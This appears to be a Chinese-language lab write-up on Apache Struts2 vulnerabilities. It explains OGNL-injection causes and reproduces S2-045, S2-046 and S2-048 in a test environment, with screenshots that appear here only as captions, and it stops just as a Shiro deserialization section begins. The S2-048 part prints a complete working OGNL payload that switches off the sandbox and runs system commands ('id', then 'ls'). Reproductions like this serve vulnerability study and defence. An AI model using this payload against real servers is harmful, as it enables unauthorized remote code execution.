struts2漏洞
  • 1、struts2简介
    Struts2是一个基于MVC设计模式(java)的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。
  • 2、struts2漏洞成因
  • 来自不可信源的数据解析
    Struts 框架使用 OGNL 作为默认的表达式语言,Struts2 把来自命名空间、参数名、参数值、Cookie 值、文件上传文件名等等由攻击者可以控制的字段进行了解析,而中间可能没有进行安全校验和过滤,从而导致了安全漏洞。
  • 逻辑上的二次解析
    由于 Struts2 提供的对部分标签、配置的解析支持,允许程序在处理过程中使用 OGNL 解析其中部分变量的内容,而在用户配置不当的情况下,可能会导致二次解析,导致 OGNL 注入。
  • 使用包含脆弱性的第三方组件
    由于使用了 Xstream 和 Jackson 用来支持 xml 和 json 格式的参数,但是却未进行安全功能的限制,导致 Struts2 遭受了来自这两个组件安全风险的威胁。
  • 沙箱和正则防御的绕过
    Struts2 在 OGNL 注入防御上的步子是一步一步走的,而且是小碎步,官方根据安全人员的报告不停的在修修补补,更新正则,在绕过与修复中不断轮回,直到官方的修复越来越底层。但是即使是现在,官方也还是采取黑名单的方式,每当安全研究人员发掘了一个新思路,官方就把相应的包放在了黑名单中。
  • 3、漏洞复现
  • S2-045
  • 漏洞成因
    处理 Content-Type 出现异常时,将会对异常信息进行 OGNL 解析导致安全漏洞,我们抓包修改Content-Type属性,将OGNL表达式构成的payload写入数据包中,当后端检测到Content-Type异常时会解析我们恶意构造的payload。
  • 启动环境
    struts2漏洞整理_设计模式
  • 访问漏洞页面
    struts2漏洞整理_apache_02
  • 漏洞利用
    struts2漏洞整理_apache_03
  • S2-046
  • 漏洞成因
    与s2-045类似,但是输入点在文件上传的filename值位置,都是由于处理上传请求时出现错误信息,带着用户输入进行解析导致漏洞。后台判断规则中 filename 中不能存在​​\u0000​​,否则将会抛出异常。只需要在 filename 字段中写入恶意 OGNL 表达式,并在不影响 payload 的位置插入​​\u0000​​即可触发。
  • 启动环境
    struts2漏洞整理_struts_04
  • 访问漏洞页面
    struts2漏洞整理_struts_05
  • 漏洞利用
    struts2漏洞整理_javascript_06
  • S2-048
  • 漏洞成因
    会检查 request 中是否设置了 ActionMessage,如果是,则将会对 action messages 进行处理并回显给客户端。处理时使用了 getText 方法,会解析OGNL表达式,这里就是漏洞的触发点,程序中将客户端参数值添加入 action message 的点。这里的环境将form表单中的name放在了ActionMessage中并使用addMessages方法放在了request里,所以触发OGNL表达式的位置就是这个表单的Gangster Name。
  • 启动环境
    struts2漏洞整理_javascript_07
  • 访问漏洞页面
    struts2漏洞整理_漏洞利用_08
  • 漏洞利用
    payload:​​%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}​struts2漏洞整理_漏洞利用_09
    将payload改为ls命令
    struts2漏洞整理_apache_10
2、shiro反序列化漏洞
  • 实验环境
  • 从github上获取 Apache Shiro 存在漏洞的源代码。